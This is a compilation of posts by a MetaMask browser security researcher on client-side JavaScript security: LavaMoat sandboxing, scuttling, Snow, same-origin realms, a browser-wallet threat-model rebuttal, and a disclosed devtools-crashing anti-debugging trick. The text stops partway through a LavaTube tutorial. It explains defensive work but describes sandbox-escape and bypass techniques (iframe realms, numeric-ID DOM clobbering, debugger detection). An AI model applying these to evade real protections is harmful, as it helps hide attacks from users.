And while slightly less so, dapps and other Web3 client side services are under a similar obligation - otherwise the idea behind Web3 (and decentralization in general) won’t ever truly take off.

Therefore, if you see some sense in the decentralized movement and believes it’s here to stay to whatever extent you can imagine, you should agree the need for advanced client side security technology is more critical than ever.

Client side security’s critical role in the future

I guess this is my way of telling 5/10 years ago Gal:

“ Don’t panic.

While client side security might feel like some useless niche sometimes, remember it’s also a matter of timing.

Telling what turns the tech industry is going to take is hard as it is such a difficult to predict industry that takes seemingly random curves occasionally.

Those curves can be surprising and can lead particular technological fields to the road of adoption or complete failure - it’s hard to tell.

And as for client side security, similarly to many other niche fields, it might turn out just fine. “

At the same time, this is also my take on Shubham’s observation on client side security:

When sticking to traditional client side security (XSS and such), I tend to agree it might die off a little from a security researcher perspective, as this becomes a more and more closed gap both because addressing traditional client side security is more simple and because traditional security architecture mainly leans on the server side.

But given the POVs above, I believe client side security will become more advance and more complicated, thus naturally will introduce new attack surfaces for researchers.

Based on the experience of coming up with the threats the MetaMask app is potentially exposed to, I have multiple examples to back this claim up:

JavaScript Sandboxing

LavaMoat is a security tool written in JavaScript and built on SES we maintain, with which we’re able to sandbox each of our MetaMask JavaScript dependencies to confine them and minimize the amount of damage they can do if they get breached.

The Same Origin Concern

Snow is another security tool we use to prevent JS code from being able to create new same origin realms (aka iframes). This is a vital tool in case sandboxed code we don’t trust manages to use the limited set of capabilities we endowed it to form a new realm, because new realms offer access to all capabilities the browser offers - including those we intentionally didn’t endow it.

DOM Confinement

DOM API is historically designed so that you can travel from one node to basically any other node (and even the document itself and its owner window object) effortlessly, and preventing that was proven to be very hard (see the CaJa project).

LavaDome attempts to solve a subset of this problem, but a more complete solution doesn’t seem to be coming any time soon.

Are those actual problems though?

Remember the context here: for the traditional web, where the client side isn’t complicated and there’s a server taking the responsibility for securing the app - these problems aren’t too relevant, and current browsers’ threat model is rather enough.

But the context here is that for use cases falling under the arguments presented above, code running in the same origin as the app is no longer as trustworthy as it was considered traditionally - and the implications of that are big, because if browsers are good at isolating cross-origin entities from each other, the new take here is that similar confinement is now necessary in a lower resolution, where two entities within a single origin aren’t trustworthy by default anymore - which results in the security gaps listed above.

And that’s why I believe the web would have to adjust accordingly - whether by virtualized solutions such as those we compose at MetaMask or by advocating for browser-level solutions to properly address these gaps (probably both).

Furthermore - it’s important to note that the success/failure of client side security is affected by more means than just technological gaps (such as financial/political motives within the global cyber security ecosystem), but this essay focuses strictly on the technological angle.

And with that in mind, I expect a comeback for client side security - for the industry, for the vendors and most importantly - for the researchers!

I don’t just guess - you’re welcome to further explore the work we advocate for around web and client side security which we find so important for MetaMask to become safer as well as allow other builders to secure their apps too: Gal Weizman: JavaScript realms used to bypass and eliminate web apps security tools - A problem with a WIP solution , Gal Weizman: JavaScript Realms: The Blank Spot In Web App Runtime Security and more

MetaMask Wallet Security Threat Model - The Browser's Prespective [𝕏]

2024-01-21T00:00:00+00:00

Originally posted on X

A recently published paper on Browser Wallets Security was just shared.

Given this being my field of work in recent years, I make sure to familiarize myself with such content.

I’ll address the claims it makes, how @metamask🦊 is secured from them and why the rest aren’t valid🧵

[B=Browser/H=Hardware/W=Wallet]

Its main claim is that HWs are secured whereas BWs aren't simply because the former never exposes the private key outside the hardware whereas the latter stores it in more vulnerable infrastructures being the browser & OS.

While somewhat true...

... HWs and BWs aren't strictly opposites, but can be complimentary - whether storing their private key in MetaMask or using it strictly for bridging actual HWs such as @Ledger or @Trezor is for the user to decide.

Other way around's also true - for HWs to interact with dapps...

... they NEED some software bridging, whether built by them (e.g. Ledger Extension) or served by BWs (e.g. Ledger/Trezor on MetaMask).

This point is crucial to understand in this context.

Not mentioning it when claiming BWs to be objectively "poorly secured" is misleading IMO.

On to the part I want to focus on - Browser Security.

Under this section the paper refers to different threats BWs face:

* Browser extensions (Phishing/UI manipulation , Keylogging/Screenshotting)
* XSS
* Malware (OS)
* Browser Insecurity
* Developer Libraries

Let's begin:

~~~
Both Section 3 and 4 discuss "Literature Review" and "Vulnerabilities in BW Applications" (respectively) in regards to all five points described above that we're about to dive into, so for each point I will be referring to its literature and/or practical reviews.
~~~

Starting with the easiest to disprove - Browser Extensions.

One part of this claim is that if the victim mistakenly installs a malicious extension - in addition to the legitimate MetaMask one - it can steal their private key by either sniffing their key strokes...

... hoping they catch SRP insertion or capturing screenshots of the extension hoping they ask the BW to display the SRP.

Let me be clear here - this ISN'T possible.

While an extension can capture screenshots / sniff key strokes (with the right permissions), it can only do so...

... to websites - not other extensions.

Evil extensions can gain such access to websites, because as part of browsers threat model - extensions have power over them.

But according to that same model, extensions DO NOT have that kind of power over other extensions (obviously).

The other part of this claim talks about how such extensions can manipulate the UI the user interacts with to set them up to perform unwanted actions.

While very true, this claim is in fact pro BW over HW and not the other way around.

When interacting with dApps...

... that were either maliciously manipulated by an evil extension or by themselves are malicious - tricking the user to approve and sign a bad tx has nothing to do with whether the wallet is a BW or a HW.

But security advanced BWs (such as MetaMask) can at least do a good job...

... at letting you know if the tx you're about to sign might be malicious (see quote) - a feature HWs do not provide.

This claim would have been valid if the wallets were compared strictly for storing purposes rather than dApps interaction - but that's clearly not the case here.

Next is XSS.

This one's more valid for sure, but it's important to clarify that XSS in a dApp cannot transform to SRP theft nor any damage at all (without user interaction) unlike brought up in the paper with this OpenSea example below.

However, XSS in the BW itself...

... can lead to SRP theft, but only if:

* User asks to export/display/access the SRP/private key which exposes it to the BW UI process;
/OR/
* User types their BW password.

While theoretically true, XSS attacks are more rare for a reason - browsers nowadays provide the tech...

... needed to prevent XSS, and if used right allows apps such as a BW to defend themselves properly from such an attack.

Combined with self custodial BWs naturally smaller XSS attack surface to begin with (no server + not much externally accepted input) - XSS becomes unlikely.

And with MetaMask's strong anti code-execution CSP rules - we make it even less likely.

Bottom line, I accept BWs being less likely to prevent SRP/PK theft than HWs due to XSS, but it's far closer to impossible than possible.

BUT to take it even ANOTHER step further...

... even if such evil code execution is obtained, and [as stated in the attached image] "the SRP is left accessible to scripts and thus vulnerable to XSS" - we still have ANOTHER security layer for isolating sensitive parts of the DOM (like SRP).

For more on that - stay tuned 😉

Next comes Malware.

Most valid point in this paper IMO.

OS level malware is something BWs will always have a hard time defending against, because BWs are hosted in an environment with higher privileges that they must blindly trust, and in that context HWs have an advantage,

because they ARE that environment - starting from the software all the way to the hardware.

So again - for storing strictly? HWs are great.

But for most of the times, interactivity (with dApps) is needed, and at that point a malware can target HWs similarly to BWs (see reply👇)

Afterwards there's Browser Insecurity.

"safe to say, securing the browser enough to eliminate the risk of sensitive data being stolen is unrealistic".

Disagree. Browsers are safe.

Browsers ARE a "trustworthy platform for applications or sensitive data" and have been for years,

they just need to be used right. Also, the context matters a lot:

With self custodial wallets, a server can't be used for storing "sensitive data".

So in that context, storing SRP/PK in a HW instead of the browser is agreed to be better, but again - to interact with dApps...

... HWs need to bridge through a browser anyway.

Therefore, a big part of the threats described in the paper are similarly riskful.

Now, as for the last one, and our personal favorite in MetaMask: "Developer Libraries".

Or as we like to call it: "Supply Chain Security".

Being the maintainers of LavaMoat, we at MetaMask could not agree more with the sentiment of supply chain attacks being a major threat to BWs.

But when referring to MetaMask's security in context of "developers libraries", as was done in the paper, LavaMoat must not be left out.

Exploiting a supply chain breach to fully compromise the SRP of MetaMask is far from easy, thanks to the hard work and effort put into securing against such attacks in our BW.

That’s what the LavaMoat project is all about, as it covers multiple aspects of the following question:

If untrusted code (whether by XSS or a supply chain breach) runs inside the BW - how well is it mitigated by the BW runtime?

Not to speak for other wallets, but for MetaMask the answer would be “very well”.

Learn more about the LavaMoat stack that’s making this possible:

* LavaMoat

Using LavaMoat To Solve Software Supply Chain Security | MetaMask News LavaMoat is a set of security tools for any JavaScript app to mitigate software supply risks.

* Scuttling

* Snow

* LavaDome (soon, stay tuned 😉)

As for the rest of the paper (sections 5, 6 and 7):

After covering the different threats, it continues to discuss leads for further research, conclusions and comparisons to HWs - all based on the former (not very rightfully concluded) described threats in sections 3 and 4.

Key takeaways:

* For strictly storing self custodial SRP/PK - HWs are safer.

* (But not for the reasons shared in the paper though).

* To use these to interact with dApps, a browser must be introduced into the flow.

* It’s not necessarily one or the other - BWs can be integrated with HWs for maximum security and interactivity.

* Need a trustworthy, self custodial BW that integrates with HWs and puts security first?

Choose MetaMask 🦊

~ Thank you @danfinlay for introducing me to this paper

Javascript Anti Debugging - Crashing the Devtools [𝕏]

2023-11-14T00:00:00+00:00

Originally posted on X

THIS WAS MEANT TO BE POSTED 1 MONTH AGO, BEFORE THE OCTOBER 7TH EVENTS 🇮🇱 SOME DETAILS MAY BE OUT OF DATE

Open Chrome devtools console @ https://weizmangal.com/awesome-javascript-anti-debugging and watch the entire chrome app CRASH @ v114 (or just the tab @ v116) 😈

Another NewGen Anti Debugging technique! 🧵

Why is this interesting?

Anti Debugging techniques are rather old, but NewGen ones which are more sophisticated can assist attackers to elegantly hide their attacks from victims who might attempt in uncovering them.

Victim opens devtools? → Attacker detects and runs away!

2/6

Here, combining with other NewGen* techniques, attackers can:

1. Detect debugging attempt
2. Mark user as potentially someone who can uncover the operation
3. Crash the tab
4. Use the mark to avoid attack when page is revisited next time

* What sets NewGens apart from OldGens?

Mostly:

1. their sophistication level
2. what attackers can achieve with them
3. How hard they are to discover

Learn more - visit the Awesome JavaScript Anti Debugging list ⭐ https://weizmangal.com/awesome-javascript-anti-debugging/

I encourage you further to learn more about the previous 2 NewGen techniques:

1. SourceMappingURL

2. ChromiumDevtoolsScopePane

Anti debugging techniques might not count as real vulnerabilities, but they matter, because they're being used by offensive security actors, and they save those from being uncovered weizmangal.com/awesome-javasc…

This was responsibly disclosed to Chromium and was decided to not be considered a security bug after being fixed:

https://bugs.chromium.org/p/chromium/issues/detail?id=1465129

At v114, this crashed the whole Chrome process entirely.
Since v116, it only crashed the relevant tab.
Since v118, this problem is fixed.

The Same Origin Concern - presenting to W3C [𝕏]

2023-10-03T00:00:00+00:00

Originally posted on X

Last week we presented to @w3c and advocated for some ideas we believe could enhance security for web apps on behalf of @metamask.

Our session (w/ @naugtur) focused on "JavaScript Security".
Mine focused on what we refer to as the "same origin concern".

Here's the gist of it 🧵

But first, FYI, at the bottom post of this thread you’ll find:
1. 🔗 to the full document where we describe our take on the problem, the solution we attempted at, why it fails and what browsers can do to help
2. 🔗 to the recording of the 10m pitch I gave @w3c about this topic
👇🏻

• "Fortunately, web and browsers continuously evolve towards a composability driven software development future

• While it is good, such methodology bears security risks, where integrated software may introduce malicious code to the composed software, endangering it entirely"

• "Therefore, ongoing efforts by security leaders are being made to introduce safety mechanisms to allow apps to unlock composability’s full potential with minimal risk"

• "One effort in particular focuses on providing better visibility & control over the flow of the app at runtime, to uncover unexpected behavior in case of it resulting from malicious actors - a most reasonable natural outcome of the difficulty in securing composable web apps"

• "However, the road to secure composable software is long and not yet over, as critical infrastructures must continue to evolve accordingly

• This includes browsers, which in order to enable such initiatives might require similar adjustments, to help composed software thrive"

• "Therefore, we wish to focus on one specifically being what we refer to as the “same origin concern”, where we identify a need for some level of protection/isolation of the main realm of the application from any sibling/adjacent realms of the same origin (like in SOP)"

• "Not only did we identify this issue, but we also bring a working shim of the solution we imagine, which effectively demonstrates the security hardening we seek for applications against this concern in production"

• "Problem is, as part of this effort, we learned that a shim representation of the solution is insufficient in terms of both performance, but most importantly security"

• "Which helped us arrive at some conclusions, the main one being that adequately securing this layer of concern performantly can only be done with some help from the browser itself"

• "In this document we wish to further explain the motivation for this, the problem we encounter, the solution we attempted at and the solution we believe would be best to properly address it"

For those who are already familiar with my work, we're basically advocating for Snow JS ❄️ to become a native browser feature (kinda).

If you're into security for the web and how browsers can help, please consider reading the full document or watching the 10m pitch I gave @w3c👇🏻

Thanks for all your help @mhofman @naugtur @jasvir @pedrofortuna w3.org/2023/03/secure…
weizmangal.com/content/pdf/Th…

JavaScript realms used to bypass and eliminate web apps security tools - A problem with a WIP solution - Gal Weizman - W3C Secure the Web Forward Workshop Bringing together experts to drive developer awareness and adoption of Web security standards and practices https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html

@mhofman @naugtur @jasvir @pedrofortuna Learn more by @w3cdevs:

@mhofman @naugtur @jasvir @pedrofortuna @w3cdevs

The Same Origin Concern

2023-09-28T00:00:00+00:00

Summary

The following is taken from the official document “The Same Origin Concern” - please consider reading the full document.

Fortunately, web and browsers continuously evolve towards a composability driven software development future.
While it is good, such methodology bears great security risks, where integrated software may introduce malicious code to the composed software, endangering it entirely.
Therefore, ongoing efforts by security leaders are being made to introduce safety mechanisms to allow apps to unlock composability’s full potential with minimal risk.
One effort in particular focuses on providing better visibility and control over the flow of the app at runtime, to uncover unexpected behavior in the case of it resulting from malicious intentions - a most reasonable natural outcome of the difficulty in securing composable web apps.
However, the road to secure composable software is long and yet to be over, as critical infrastructures must continuously evolve accordingly.
This includes browsers, which in order to enable such initiatives might require similar adjustments, to help composed software thrive.
Therefore, we wish to focus on one specifically being what we refer to as the “same origin concern”, where we identify a need for some level of protection/isolation of the main realm of the application from any sibling/adjacent realms of the same origin (some subset of what the Same Origin Policy provides for cross origin realms isolation is another way of thinking about it).
Not only did we identify this issue, but we also bring a working shim of the solution we imagine, which effectively demonstrates the security hardening we seek for applications against this concern in production.
Problem is, as part of this effort, we learned that a shim representation of the solution is insufficient in terms of both performance, but most importantly security.
Which helped us arrive at some conclusions, the main one being that adequately securing this layer of concern performantly can only be done with some help from the browser itself.
In this document we wish to further explain the motivation for this, the problem we encounter, the solution we attempted at and the solution we believe would be best to properly address it.

Snow stops playing nice - security first at the cost of everything else

2023-08-03T00:00:00+00:00

Taken from the Pull Request that introduces this significant change #133

tl;dr - Today marks a big day in the life of Snow, where we come to the mature realization that in order for the project to stop chasing defensive security it has to take some bold steps at the cost of adoption and functional behaviour. Here, I attempt to lay out the process of trying, failing and learning the hard truth the hard way, and what should be our steps forward to find real security for same origin realms.

In hindsight, the #118 effort was wrongly looked at partially.

Yes, requiring Snow users to integrate CSP (specifically disable unsafe-inline and same origin object-srcs) to achieve full protection was the right move, but #118 was assuming that with such help from CSP Snow could continue the same “we do anything in our power to allow all sorts of ways of creating same origin realms” vibe.

Quickly after #76, which was heavily based on #118 thesis, it became clear that the implementation was wrong (thanks you @mmndaniel) and that in fact #118 did more damage than good and still allowed most of the sophisticated vulns bypass Snow.

This brought us to the unfortunate realization that the approach Snow kicked off with 1y ago is no longer viable knowing what we know today about same origin realms, and that it’s time to adopt a less permissive but more promising approach.

The dream originally was to create a shim that anyone can install taking 2 core rules into account:

Protect ALL same origin realms (aka “1st rule”) - no JS code should be able whatsoever to introduce a new same origin realm that goes under Snow’s radar.
Require little to zero adaptation (aka “2nd rule”) - The website/web app to adopt Snow should do NOTHING more than installing it and passing it a callback. That means Snow must work perfectly regardless of what CSP is configured, and what crazy things the app might attempt to do - Snow must not rely on any additional help from the website, nor break anything the JS in the website runs.

I was inspired to create Snow after realizing how big of an issue same origin realms are for third party vendors trying to develop JS runtime protection tools for websites. It became clear to me that all such tools will fail to accomplish their mission if they don’t have full control over their same origin realms (I talk about that realization quite a lot).

The 2nd rule was inspired by my experience with developing such third party tools specifically for websites, knowing how websites allow such wacky JS code to run in their site (a behaviour that doesn’t seem to go anywhere in the near future), which requires such protection tools to be as flexible and agnostic to its runtime environment as possible, regardless of how crazy it might be (and websites are CRAZY). Naturally, if I’d wanted such third party security vendors to integrate Snow, the 2nd rule was non-negotiable.

And with that in mind, Snow was created.

Another important thing that happened in the past year was my introduction to the @agoric team and to SES.

Without getting to much into it, what you do need to know is that SES is a successful attempt to export tools that when are used correctly can harden a given JS environment against certain types of attack completely.

This specifically is something both SES and Snow share - the identification of a certain (or a set of) security concern(s) and the attempt to form an environment that is resilient to it completely using a JS shim (not to say the efforts and accomplishments of Snow and SES are comparable, that would be UNBELIEVABLY pretentious).

One distinction I had noticed though, was that SES took some choices that were naturally very limiting of the JS environment it was destined to run in, whereas this was the opposite from Snow’s initial approach (aka the 2nd rule).

At first, I was rather glad that Snow didn’t have to go down a similar path (SPOILER ALERT: As you can realize from reading this, that isn’t the case anymore).

But now, 1y later, after being exposed to so many vulnerabilities in Snow, or more accurately - SO MANY WAYS to create same origin realms - it’s more clear to me where the SES project was coming from.

If my original thinking was that at first priority the adapting websites must remain fully agnostic to the existence of Snow (2nd rule), I now understand that this comes in the cost of security (1st rule). And just like SES, I believe the 1st rule is far more important than the 2nd rule (at least in this case), and that it’s time to change the prioritization of this project.

This is yet another (quite long) way of saying:

With this PR, Snow officially puts less effort in making sure websites don’t break, and more effort in securing all same origin realms from each other in the website.

This means that:

Bypassing Snow should become significantly harder (hopefully)
Snow might no longer allow certain operations to take place and instead will throw an error to protect the page completely. Most of these operations will still be rather unique and unneeded for the average website, but when they happen, Snow will bail on the operation in sake of keeping the app protected.

2.1. Also, Snow’s protection will still require CSP integration, there’s no escape from that (#118 was right about that).

This also means Snow becomes less of a fit for traditional websites (e.g. booking.com) and third party vendors aiming to be integrated in all sorts of wacky JS envs (e.g. PX CodeDefender), but a better fit for those who can tolerate some initial Snow integration pain in order to become a truly same-origin-realms-attacks resilient app.

Which is unfortunate considering this was the main target audience of Snow in the beginning, but this is what’s right - security is more important.

Because on the other hand, this move will allow apps that can adopt Snow to become truly secured against the same origin realms problem. We can already see this approach being vital in protecting the @MetaMask app (which is the sole maintainer of Snow atm).

IMPORTANT NOTE: this does not mean websites and third party tools will fail to adopt Snow into them, it just means it MIGHT be potentially harder. This version for example works just fine on most major websites in the world.

Thank you @agoric for the inspiration with SES to think better about security ❤️.

Proto Tree 🌳 - A Way to Observe the JS Prototype Chain [𝕏]

2023-07-27T00:00:00+00:00

Originally posted on X

You always hear about the prototype chain in #JavaScript, but why isn't there a way to actually see and play with it?

Well, now there is!

Here's ProtoTree 🌳 - a fun little app you can use any time to both generate and observe the prototype chain live in the browser as a tree:

Motivation: As a browser security researcher, I always found it weird there isn't a tool (AFAIK) to help you better understand the proto-chain.

An app you can play with and use to see how everything connects.

It can be useful for a number of reasons:weizmangal.com/ProtoTree/?fil…

ProtoTree - the javascript prototype chain as a tree Observe the javascript prototype chain as an interactive tree in the browser https://weizmangal.com/ProtoTree/?filters=XMLHttpRequest

1. Learning!

* Who're the ancestors of HTMLBodyElement?
weizmangal.com/ProtoTree/?filters=HTMLBodyElement

* What are all the error types your browser supports?
weizmangal.com/ProtoTree/?filters=error

* What are all the SVG interfaces your browser supports?
weizmangal.com/ProtoTree/?filters=SVG

This goes as far as you want it to!

2. Research!

Being able to generate this information can be useful to arrive at more insightful conclusions:

* More powerful and accurate feature detection - since ProtoTree walks through EVERYTHING, the tree it outputs is consistent on one hand, but is also sensitive to the...

... slightest modifications to the runtime env on the other hand.

Meaning, the most delicate diffs between envs will affect the result outputted by ProtoTree.

Therefore, it'll differ among different OSes, browsers, devices - even extensions!

Anyone thinking of finger printing?

Whereas the logic behind the app isn't suited for consuming as API (help is welcome!), it currently offers to:

* Filter the tree by text
* Jump to key prototypes in the generated chain
* Copy the output tree as JSON
* Observe own properties of each prototype in the chain

Also,

By opening the devtools, you can investigate the output further by:

* Observing the live values in the tree
* Observing the entire tree as a JSON object
* Observing the filtered tree as a JSON object

Without getting into too much detail, here's how ProtoTree works:

For the generation to remain as pure as possible, it runs in a cross origin "data:" iframe so that scripts polluting the top realm env won't get in the way.
LavaTube
The tree construction is done thanks to LavaTube - a security research tool developed @MetaMask

You're welcome to visit (and ⭐!) the source code https://github.com/weizman/ProtoTree, be warned that no effort was put into the codebase being well designed and architectured - this is an experimental tool!

Also, the widest the filter is, the longer it'll take the browser to form the tree!github.com/weizman/ProtoT…

I hope you find this interesting and/or useful!

If this inspires you or gives you any ideas of how ProtoTree can be used, I'd love to hear it!

ProtoTree is served freely on @GitHub Pages and is MIT licensed for your education, free use, etc.

Made with love for the community ❤️

MetaMask JavaScript Security Stack (Part 3 - Snow) [𝕏]

2023-07-14T00:00:00+00:00

Originally posted on X

After covering LavaMoat 🌋 scuttling #security feature and its fundamental issue of being unable to deny access to the "document" prop, which effectively eliminates its core concept, I implied we address that too with our in-house security tool.

#JavaScript folks? Meet Snow ❄️:

Recap: What's scuttling?

Scuttling is a security feature in LavaMoat that removes all powerful capabilities from the global object so that if JS code escapes its LavaMoat sandbox to find more powerful APIs, it'll fail thanks to this feature making the global object useless:

Recap: What's scuttling's weak spot?

Problem is, not all props can be scuttled. One specifically ("document") can be used to form new global objects (e.g. with iframes) where the powerful APIs scuttling tries to deny can once again be found,

Making scuttling not very effective:

So what can we do about it?

Applying scuttling to all potential future global objects automatically, would restore the power of scuttling.

Because then, if attackers use "document" to create a new global object, scuttling would immediately be applied to that new object - magic!

In other words:
1. scuttle main global object (=top)
2. intercept iframe creation
3. attacker creates iframe
4. scuttle iframe's global object at interception
5. return iframe to attacker

Result:
Attacker gets the iframe they formed, but its global object is also scuttled!

But,

This is rather complicated because the browser doesn't offer us such power.

Meaning, we'd have to implement such a solution as a #JavaScript shim, where we map and (synchronously!) intercept all possible ways of forming new global objects.

Accomplishing that will allow us to...

... not only scuttle any newly created global object, but in general to run any arbitrary code for every time such an object is created - before the creator gets access to it.

That would restore the power of scuttling.

You see where I'm going with this, right?

Meet SNOW JS ❄️:

Snow does just that!

By installing Snow in your webpage as first script, Snow intercepts (aka monkey patches) all methods of creating new realms.

Afterwards, by passing Snow a callback, Snow does its best in making sure to invoke that callback with every new realm creation.

Building a bulletproof version of Snow is a long on-going mission that's yet to be completed, facing multiple complex obstacles along the way.

But with Snow, we're less concerned of "document" prop killing our scuttling idea - we just recursively scuttle child objects instead 😉

Btw, if you're building similar security tools that apply JS runtime protection to web apps, you're probably affected by similar threats. You're welcome to reach out, ask about and also use Snow.
In the next 🧵, I'll get more technical, exploring parts of Snow and its challenges.

In the meantime, some resources on Snow+scuttling:

* Integrating Snow into MetaMask 🦊

* Snow on GitHub

* Live Demo of Snow (can you pop an alert?)

* Awesome Realms Security Repo

MetaMask JavaScript Security Stack (Part 2 - Snow) [𝕏]

2023-07-07T00:00:00+00:00

Originally posted on X

In Last week's tweet (↓) we discussed "scuttling", a LavaMoat 🌋 feature we enable on MetaMask 🦊 for enhanced supply chain security.

However, near the end I hinted scuttling isn't so simple in reality..

Browser JS security folks? Come learn why, and how Snow ❄️ saves the day:

First, it's important to clarify there are multiple groups of properties we don't/can't scuttle, each group for its own reasons (scuttling is hard to achieve!)

Today I'll focus on the "non-configurable window object properties" group.

But first - how does scuttling even work?

For starters, we need to understand what to scuttle.

To do that, we'll collect all the properties that are accessible via the window.

That must include own properties of the window itself, but also own properties of every one of the prototypes in its prototype chain:

Once we have that list, it's time to scuttle!

Pretty simple, we just iterate the props we collected, and redefine their getters to deny access to their real values, and instead return "undefined" (for the sake of the example).

But as you can see, the scuttling attempt fails...

In JS (by legacy), some props of the window object are non-configurable by definition (we're not gonna get into why).

This means that some properties aren't going to cave in under scuttling - ever.

Question is - which ones? And how useful are they going to be for attackers?

These are the 8 props that are non-configurable in the browser, and cannot be redefined whatsoever.

* Infinity, NaN, undefined - are primitive values and therefore are not very powerful for attackers 👍
* window, top - refer back to the window object, which we already scuttle 👍

* chrome - very powerful for attackers (will elaborate on another thread one day)

Luckily, even though is not configurable, it is writable, meaning we can't redefine its getter, but we can redefine its value to be undefined 👍

Which leaves us with only two: document & location.

And unfortunately, if code escapes LavaMoat sandbox and gets access to either one - it can be pretty bad.

Today, we'll focus on document access, why it's dangerous, and how we use our very own Snow JS ❄️ to reduce that risk.

document access is dangerous for obvious reasons:

DOM access allows attackers to intercept the interaction users have with the app. They can change its layout deceitfully, thus tricking the user to take actions that might compromise its account or its private key.

That's bad, but mitigating that isn't our top priority, because:

1. Fully sandboxing the DOM was proven before as practically impossible.

Projects have tried achieving {parts of} that before (e.g. CaJa) and have learned how tangled up the DOM really is.

It'll take some time before we decide to retake on that challenge.

But most importantly:

2. We're less worried of DOM interception, as it ultimately requires UI (=user interaction) to compromise MetaMask.

We're far more worried about powerful JS capabilities the window object grants, with which attackers can breach MetaMask without any UI - which is why we scuttle!

So... what's so bad about it?

If that's the "obvious" and "less prioritized" reason we're worried about DOM access - what's the less obvious, more dangerous reason?

Short answer? iframes.

Long(er) answer?

iframes introduce new realms, which in the browser translate to...

... New windows! Meaning, more windows to scuttle! 😱

So in reality, assuming attackers escaped LavaMoat sandbox, bypassing scuttling is simple - just create a new iframe and steal the scuttled props from its window!

And what's the single prop needed to create a new iframe? 👇

Does that make scuttling useless? KINDA.

Does that make my last tweet a lie? Am I just a big phoney?

Well, not quite. By integrating scuttling with Snow ❄️, we're eliminating the threat, but in a different, also advanced way.

Getting 2 long though, so wait for nxt week's 🧵 😉

There it is, part 3

MetaMask JavaScript Security Stack (Part 1 - scuttling) [𝕏]

2023-06-30T00:00:00+00:00

Originally posted on X

MetaMask 🦊 is an amazing app for many reasons.

One reason I like especially is that even though it works just fine, the window object of the app is (almost) unusable!

If you’re into Browser JavaScript security, come learn about what we call “scuttling” - by LavaMoat 🌋

Well..

.. naturally, MetaMask 🦊 runs on top of a complex graph of dependencies.

Therefore, we're quite scared about supply chain attacks (you should too btw).

So scared that we build and run the app under a homemade tool we call LavaMoat 🌋.

By running on top of SES by @agoric,

LavaMoat creates a dedicated sandbox for each dependency.

Furthermore, it makes sure each sandboxed dep gets access only to the features it actually needs.

So for example, if dep "axios" needs access to "window.fetch", LavaMoat will make sure it gets that access.

But if..

.. "axios" gets an update where it tries to access "document.cookie" all of the sudden, its dedicated LavaMoat sandbox won't allow it, thus preventing the dep from accessing features it isn't supposed to have access to.

Pretty neat right?

However,

What if a dep manages to use the APIs allowed by LavaMoat to escape the sandbox?

In that case, the dep can climb up to the real global object of the app (the window) where it can find all the APIs LavaMoat tried to deny it from!

Effectively, (almost) canceling LavaMoat's goal!

Luckily, we like to prepare for such edge cases in MetaMask ⚔️

The beauty about the “sandboxes” LavaMoat uses (called Compartments - implemented in SES by @agoric) is that the instances of the APIs they provide are not the same instances originally coming from the global object.

So if the entire dep-graph and the app itself all live in their own separate sandboxes with their own sets of APIs - this means the original APIs that came from the original global object are unused.

If so, why not remove them then?

In fact, it'll even make the app more secure!

That way, code escaping the sandbox won't be able to grab APIs it isn't allowed to!

So if a dep we don't trust is allowed to access "fetch", and somehow managed to escape its Compartment (/sandbox) and climb up to the window object, it'll expose much more APIs than just "fetch".

But if we remove those APIs from the window object, escaping the sandbox will no longer be enough to reach other APIs, and the dep will remain stuck with only "fetch"!

This is how you reach a wacky state where your app works just fine, but the real window object's dead inside 🥲

We call the removal of the APIs and properties of the global object "scuttling" (coined by @kumavis_), and it actually works!

... in theory.

In reality, it's not so simple - we still skip scuttling of some specific properties.

But I will elaborate on that in the next thread 😉

In the meantime, some resources:

* Original PR introducing scuttling to LavaMoat

* List of properties we DON'T scuttle at the moment (which I'll talk about in the next thread)

* SES Compartments by @agoric

DOM Clobbering - but with numbers?! [𝕏]

2023-06-23T00:00:00+00:00

Originally posted on X

You know how in browser JS if an attached element has an ID (e.g. "<div id='gal'>") then "window['gal']" returns the element?

Well, it turns out that ID can also be a number (e.g. "<div id='0'>") and that'll still find its way to the window.

Why is this interesting? Because ...

... setting anything that isn't a WindowProxy object to the frames array is impossible - configuration of indexes to Window object is forbidden.

But with this trick, you can find yourself with an item in the frames array that is not a WindowProxy object - but a DOM node instead!

Does this matter for any real use cases? Well, not really.
However, if your project works with the frames array and you assumed the items in the array cannot be anything other than WindowProxy objects - I'd revisit that conclusion 😉

This is exactly what happened in Snow. Furthermore, leveraging this trick could have allowed attackers to bypass Snow completely.

Good to know I guess 🤷 github.com/LavaMoat/snow/pull/111

LavaTube - Expermintal JS tool for recursively walk through ???

2023-05-14T00:00:00+00:00

tl;dr - ???

LavaMoat

This was already communicated multiple times online, so I won’t go too much into details today, but the bottom line is that MetaMask is putting more effort than most of the world into securing the client side of web applications in all sorts of ways.

We call this initiative the LavaMoat toolbox in which we focus on the security side of JavaScript and the client side apps we build on top of it, where we face some interesting and very unique challenges.

We previously covered some of the tools in the toolbox:

LavaMoat - Using LavaMoat To Solve Software Supply Chain Security
Snow - Introducing Snow: Securing Nested Ownership of Windows

But today we’ll focus on a smaller problem we had and the cool little experimental LavaMoat tool we built for facing it - LavaTube!

Motivation

Working on decentralized applications inherently forces such client side products to be more secure than other standard ones. This is because there isn’t really a backend to leverage for traditional security architecture - the security burden lies fully with the client side of the application.

That is why, as mentioned above, we at MetaMask put more effort than most of the industry into building the most secured client side applications we can. The tools we build are generic enough for anyone to use to enhance their JavaScript products security, but we use them specifically to secure different parts of MetaMask.

This situation forces us to come up and implement many unique solutions to this unique ecosystem (as partly listed above). These different solutions act as separate protection layers where many of them are around making sure executed code can only do and access what it should and nothing more.

We (attempt to) accomplish this task by building on top of Agoric’s amazing SES technology, because thanks to the SES’s Compartments we can execute arbitrary code in its own virtual realm and provide it with a set of specific APIs we wish it would have while not worrying about it managing to gain more power than intended. It also won’t be able to compromise the integrity of other code running in the system if combined with SES’s lockdown and harden.

If you’re not familiar with these terms you should either try reading through without making full sense of it, or spend some time reading about SES, Compartments, lockdown, harden and realms).

Demonstration

Assume we build a simple program that tells you the time:

<html>
  <head>
    <script>
      function tellTime() {
        console.log('telling time; ' + 'start');
        alert('time is: ' + new Date().toString());
        console.log('telling time; ' + 'end');
      }
    </script>
  </head>
  <body>
    <button onclick="tellTime()"> Click to know the time! </button>
  </body>
</html>

Since we LOVE using dependencies to make our lives easier, we better use a proper logging package instead of just calling console.log:

globalThis.logger = function (msg) {
  console.log(msg);
}

<html>
  <head>
    <script src="https://logger.com/lib.js"></script>
    <script>
      function tellTime() {
        logger('telling time; ' + 'start');
        alert('time is: ' + new Date().toString());
        logger('telling time; ' + 'end');
      }
    </script>
  </head>
  <body>
